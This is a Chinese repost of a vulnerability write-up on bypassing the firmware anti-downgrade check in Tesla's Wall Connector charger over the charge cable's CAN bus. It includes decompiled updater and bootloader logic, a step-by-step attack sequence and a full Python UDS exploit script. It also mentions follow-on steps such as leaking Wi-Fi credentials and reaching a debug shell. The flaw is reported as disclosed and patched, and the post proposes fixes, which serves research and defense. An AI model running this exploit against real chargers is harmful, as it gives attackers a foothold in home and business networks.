从充电端口入侵特斯拉壁挂式充电桩(二):绕过反降级

admin 2026-05-16 05:57:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了特斯拉壁挂式充电桩固件24.44.3中引入的安全棘轮机制漏洞。攻击者通过利用槽位准备、验证和分区表更新的顺序问题,先推送合法固件通过验证并更新分区表,再擦除同一槽位并注入旧版漏洞固件,从而完全绕过反降级检查。关键发现是引导加载器不验证棘轮值,仅依赖分区表决定启动槽位。文章提供了完整的利用代码和修复建议,如引导加载器集成棘轮验证或更新后强制重启。 综合评分: 87 文章分类: 漏洞分析,IoT安全,渗透测试,红队,应急响应


cover_image

从充电端口入侵特斯拉壁挂式充电桩(二):绕过反降级

幻泉之洲

2026年5月14日 13:48 北京

在小说阅读器读本章

去阅读

特斯拉在24.44.3固件中加入了安全棘轮来阻止降级攻击,但这个检查只存在于更新器而不在引导加载器里。我们利用槽位准备、验证、写分区表的顺序问题,先写入合法固件骗取分区表提交,再擦除同槽灌入旧版漏洞固件,重启后引导加载器照单全收。全程没触发过一次棘轮校验,Pwn2Own的利用链直接复活。

这是那种你一个人、一杯咖啡、一个IDA窗口、零语言模型帮助,手工挖出来的漏洞。还记得那些日子吗?

更新流程回顾

在之前的一篇文章中[1],我们详细分析了通过单线CAN(SWCAN)对三代特斯拉壁挂式充电桩的攻击链。关键步骤就这几步:

  1. 打开UDS会话(类型2)。
  2. 用Security Access(级别5,XOR-0x35算法)认证。
  3. 运行例程0xFF00准备并擦除被动槽位。
  4. 向标识符0x102写入0x0E,将该槽位标记为“可通过UDS设置”。
  5. 用Request Download / Transfer Data / Request Transfer Exit把固件推进去。
  6. 运行例程0x201校验新刷的固件并切换槽位。
  7. 运行例程0x202重启。

AW-CU300模块有两个固件槽:一个活跃(当前运行),一个被动(更新目标)。更新成功后槽位翻转,新固件在下次启动时生效。

24.44.3加了什么料

用旧固件和新版diff之后,我们把焦点放在switch_to_new_firmware()这个函数上,它负责处理UDS例程0x201:

int switch_to_new_firmware() {    …    if ( settable_via_uds != 14 || !passive_firmware )        return 1;    if ( passive <= 0      || passive > passive_firmware->size      || (v2 = check_signature(passive_firmware->start, passive)) != 0      || !check_image_and_antidowngrade(nullptr) )    {        part_erase(flash_drv, passive_firmware->start, 0x14u);        v2 = 4;    }    else    {        part_write_layout(passive_firmware);    }    flash_drv_close(flash_drv);    passive_firmware = nullptr;    return v2; }

check_image_and_antidowngrade()是新增的。它会解析固件段,重算CRC,然后调用verify_firmware_segments_platform()对比棘轮值:

int verify_firmware_segments_platform(int flash_drv, u32_t *segments, …) {    …    // 遍历段,寻找加载到[0x100000 .. 0x100010]区间的版本描述符    …    if ( buffer.next != (netif *)’NSRV’ /* “VRSN” */ )        goto next_segment;

   major = LOBYTE(buffer.ip_addr.addr);    minor = BYTE1(buffer.ip_addr.addr);

   if ( buffer.netmask.addr == ‘2SRV’ /* “VRS2” */      && LOBYTE(buffer.gw.addr) > 1u )        firmware_ratchet = BYTE2(buffer.gw.addr);    else        firmware_ratchet = 0;    …

   sub_1F04866C(¤t_ratchet);   // 从PSM(持久化存储)读棘轮

   if ( current_ratchet <= firmware_ratchet      || !call_psm_wrapper(…) )    {        return 0;                     // 接受    }

   log(“Failure: Security ratchet downgrade prevented %d < %d”,        firmware_ratchet, current_ratchet);    return -1; }

版本信息嵌在固件段里(VRSN标记放版本号,VRS2放棘轮值),就在加载到0x100000附近的段中。只有更新器会解析这些东西,引导加载器不碰。设备侧的棘轮值存在PSM里,遇到更高棘轮的镜像被激活时会自增。

所以在24.44.3的设备上,如果你把旧版0.8.58固件塞进去然后调例程0x201,只会得到:

ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N

然后槽位立刻被擦掉。走官方路径想留一个旧镜像在flash里?门都没有。

Bootloader才不管这些

boot2驻留在flash固定地址,不在特斯拉任何一次固件更新包内。我们用之前Pwn2Own刷root过的设备dump了flash才分析到它。

它在跳转到活跃固件前确实会做几项检查:魔法头(SBFH)、逐段CRC32、用密钥库里的密钥验RSA签名。但它对安全棘轮一无所知。只要签名合法、CRC正确,任何版本的固件都能跑起来,boot2和bootrom都没实现安全启动。所以反降级完全由switch_to_new_firmware()这一小段代码在调用例程0x201那一刻强制执行。

那么问题来了:能不能在不调用例程0x201的前提下,把一个带签名的旧固件弄进活跃槽位?

一个槽位是怎么变成活跃的

例程0xFF00调用prepare_passive_slot(),它根据当前启动标志选择哪个物理槽作为被动槽,然后擦掉它:

int prepare_passive_slot(int a1, int a2, int a3) {    …    if ( part_read_layout(a1, a2, a3)      || (f1 = part_get_layout_by_id(1, &v7),          f2 = part_get_layout_by_id(1, &v7),          !f1)      || !f2 )    {        passive_firmware = nullptr;        __und(0xFFu);    }

   if ( (g_boot_flags & 3) != 0 )    // 从槽1启动?        f2 = f1;                      // 那么被动槽就是槽0

   passive_firmware = f2;    …    if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )        …    return 0; }

part_get_layout_by_id()是个迭代器:第一次调用返回第一个id=1的分区项,第二次调用返回下一个。取决于g_boot_flags,其中一个会成为被动槽。

关键在这里:g_boot_flags在启动时设定后就再也没更新过。它反映的是我们是从哪个槽启动的,而不是分区表当前的内容。

part_write_layout()负责翻转槽位,但它根本不碰固件数据,只在分区表上做文章——把对应槽的代数计数器加1:

int part_write_layout(partition_entry *a1) {    …    if ( /* a1 matches f1 */ )        v3->gen_level = v4->gen_level + 1;    else if ( /* a1 matches f2 */ )        v4->gen_level = v3->gen_level + 1;    else        return -23;

   // 擦除并重写4KiB的分区表区域    part_erase(v8, partition_table_addr, 0x1000);    flash_write(v8, &dword_129B7C, 16);    flash_write(v8, byte_1299FC, 24 * word_129B82);    flash_write(v8, &checksum, 4);    … }

启动时,引导加载器选择gen_level最高的那个槽。换句话说,要让一个槽在下次启动时变成活跃的,你只需要让part_write_layout()在那个槽上成功执行一次。之后槽里再被写什么垃圾,已经不重要了。

绕过方法

理一下:例程0xFF00根据永不改变的g_boot_flags擦除物理被动槽;例程0x201校验槽位内容然后写分区表;引导加载器只看分区表,不碰棘轮。

那么攻击序列就出来了:

  1. 把一个合法的最新固件推到被动槽,调用例程0x201。校验通过,分区表被写入,这个槽的gen_level变成最高。
  2. 不要重启,马上再调一次例程0xFF00。因为g_boot_flags没变,同一个物理槽再次被选为被动槽,刚刚还合法的固件被直接擦掉,分区表纹丝不动。
  3. 把那个带签名但满身漏洞的老固件推到已经空了的槽里。
  4. 跳过例程0x201(我们已经不需要它了,而且它一定会拒绝旧镜像),直接调例程0x202重启。

重启时,引导加载器读分区表,挑gen_level最高的槽(正是我们重写过的那一个),验签(旧固件签名仍然有效),然后跳过去执行。在整个过程中,反降级检查根本没对旧镜像运行过。

利用代码

我们的exp只是在Pwn2Own汽车模拟器基础上稍稍扩展了一下。SWCAN配置、GPIO时序、UDS管道全都没改,只有更新序列翻了一倍:

with Client(conn, config=uds_config) as client:     client.set_config(‘security_algo’, tesla_uds_algo)     client.change_session(2)     client.unlock_security_access(5)

    # 1. 推送合法最新固件,让例程0x201替我们写分区表     client.routine_control(routine_id=0xFF00, control_type=1)     client.write_data_by_identifier(0x102, 0x0E)     data = open(“firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin”,”rb”).read()     send_firmware_data(client, data)     client.routine_control(routine_id=0x201, control_type=1)  # 提交布局     sleep(1)

    # 2. 重新准备同一个物理槽。合法固件被擦除;分区表原封不动     client.routine_control(routine_id=0xFF00, control_type=1)     client.write_data_by_identifier(0x102, 0x0E)     data = open(“firmwares/WC3_PROD_OTA_08.58.bin”,”rb”).read()     send_firmware_data(client, data)     sleep(1)

    # 3. 重启。引导加载器会按分区表启动旧固件     client.routine_control(routine_id=0x202, control_type=1)

在33.3 kbps的SWCAN总线上运行一遍大概要半小时,是原版Pwn2Own时间的两倍——毕竟要用那根充电线传两份完整固件进去。重启之后,版本号退回到0.8.58,剩下的原始攻击链(UDS泄露Wi-Fi凭证、Telnet进调试shell、参数解析器里的缓冲区溢出)照常工作。

结语

反降级只活在更新器里,引导加载器不看棘轮,这就注定了只要先骗分区表提交再覆写槽内容,它就一定被绕过去。例程0xFF00正好让我们可以这么干:布局写完后擦固件,再写入任意内容。

堵上这个口子的办法不是没有:让引导加载器也强制校验棘轮;或者让例程0xFF00在擦除槽位时把分区表对应条目无效掉,保证擦过一次又被重写的槽永远不能成为启动槽;再或者简单点——更新成功后强制重启一次,或者一旦例程0x201跑通就拒绝后续任何新更新会话。

我们已经把这个漏洞报给了特斯拉,对方几个月前通过固件更新把它修掉了。和第一篇里聊的一样,壁挂式充电桩通常接在家庭或企业的网络上,一根充电线就能拿下的充电器会变成内网的立足点。好的一面是,特斯拉对联网充电器的OTA自动推送让补丁可以很快覆盖多数设备,实际的窗口期被大大缩短。


David Berard 于 2026年5月12日。原文链接:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2


参考资料

[1] https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector

[2] https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《从充电端口入侵特斯拉壁挂式充电桩(二):绕过反降级》

评论:0   参与:  0